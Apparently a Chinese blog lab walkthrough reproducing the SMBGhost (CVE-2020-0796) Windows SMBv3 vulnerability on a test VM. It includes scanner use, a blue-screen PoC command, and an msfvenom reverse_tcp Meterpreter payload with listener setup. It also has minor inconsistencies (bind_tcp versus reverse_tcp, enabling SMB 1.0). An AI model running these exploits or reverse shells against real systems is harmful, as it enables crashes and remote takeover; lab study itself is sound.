漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决

漏洞简介

永恒之黑漏洞与“永恒之蓝”漏洞极为相似,都是利用 “Windows SMB服务” 漏洞远程攻击获取系统最高权限。

漏洞危害等级:高危

“永恒之黑”漏洞高危之处在于对SMB客户端的攻击,攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等,向攻击目标发送,一旦被攻击者打开则瞬间触发漏洞受到攻击。

攻击原理:
本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。

漏洞成因:
CVE-2020-0796 漏洞存在于受影响版本的 Windows 驱动 srv2.sys 中,由于 Windows SMB 更新到 3.1.1 版本增加了对压缩数据的支持,未对用户传输的压缩数据的合法性进行校验。

受影响的Windows版本

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)

环境准备

1 一个受影响的windows版本
我准备的是Windows10 1903企业版 64位(特地自己装了一下)
需要镜像的建议去https://msdn.itellyou.cn网站下载自己需要的。

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
确认当前作为靶机的Windows系统是受影响的版本

Windows版本,按win+r,在弹出运行窗口中,输入 winver
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第1张图片

漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第2张图片

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]

其次要开启SMB服务:
win10如何开启SMB服务?
1、“win+R”快捷键弹出运行窗口,输入control确定;
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第3张图片
2、在弹出窗口点击“程序”;
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第4张图片
3、在弹出窗口点击“启用或关闭Windows功能”;

漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第5张图片

4、在弹出窗口点击“SMB 1.0/CIFS文件共享支持”进行全选,确定;
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第6张图片

5、在弹出窗口等待搜索需要的文件,接着会自动进行功能启用;
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第7张图片

6、在弹出窗口如图下,重启电脑即可(请保存好所打开文件再进行重启);
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第8张图片

2 正常的电脑(也是win,因为要执行exe文件)

靶机IP:172.16.135.138
攻击机IP:172.16.135.137

利用流程

【1】使用奇安信的漏洞探测工具
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第9张图片

直接在cmd中启动 CVE-2020-0796-Scanner.exe
(建议不要双击打开,否则容易“闪退”)

根据提示输入扫描目标IP 或者扫描IP范围

(这里为了方便,直接扫172.16.135.138-172.16.135.142)
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第10张图片

【2】准备蓝屏payload
使用CVE-2020-0796 蓝屏工具进行攻击
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第11张图片

python3 CVE-2020-0796.py <查询到存在漏洞的IP>

python3 CVE-2020-0796.py 172.16.135.138

如果靶机没有蓝屏就重新攻击一下(第1坑:kali的3.9一直不行,换了真机的3.10就可以了)
真机复现:
在这里插入图片描述

漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第12张图片

python3.9
用kali,死活不跳转
在这里插入图片描述
用虚拟机win10:
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第13张图片

检测的其他方法

除了用奇安信的漏洞探测工具CVE-2020-0796-Scanner.exe,还可以尝试:SMBGhost

(1)SMBGhost

下载地址:https://github.com/ollypwn/SMBGhost

下载:

git clone https://github.com/ly4k/SMBGhost.git

扫描:

python3 scanner.py <IP>

在这里插入图片描述

(2)使用蓝屏payload,验证漏洞

蓝屏POC地址:https://github.com/chompie1337/SMBGhost_RCE_PoC

安装:

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

用法

python exploit.py -ip 192.168.142.131

不成功的建议切换python版本。(坑点2:用python3.9就无法复现,但是3.10就可以)
下图是我用3.10复现成功的
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第14张图片

漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第15张图片

但是3.9就不行:
在这里插入图片描述
要么是:
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第16张图片
。。。。

利用msf生成exp反弹shell

首先

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.135.203 lport=1335 -b '\x00' -f python

漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第17张图片

各个参数的意义:

-p 指定需要使用的payload(攻击荷载)是windows/x64/meterpreter/bind_tcp
lport 指定端口
-b   设定规避字符集,比如: '\x00\xff'避免使用的字符
-i    指定payload的编码次数
-f   指定输出格式

然后结合SMBGhost_RCE_PoC-master进行攻击。
注意:
SMBGhost_RCE_PoC-master中的exploit.py 原文件不能直接用来攻击,需要修改其中的 USER_PAYLOAD 部分;
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第18张图片

启动msf
msfconsole

使用监听模块:
use exploit/multi/handler
设置payload
set payload windows/x64/meterpreter/reverse_tcp
配置options
然后run

然后回到SMBGhost_RCE_PoC-master进行攻击:
python3 exploit.py -ip
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第19张图片

然后按回车就得到shell
反正蓝屏是得到了:
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决_第20张图片

但是没有得到shell,然后我又换了一台Kali,还是不行…
后来问了一个大佬,说这个洞本身可以弹shell,但是不是很稳定。用的也不是很多。

应该是靶机问题。换个真正有问题的靶机能够复现。

你可能感兴趣的:(网络安全,漏洞复现,安全,web安全,系统安全)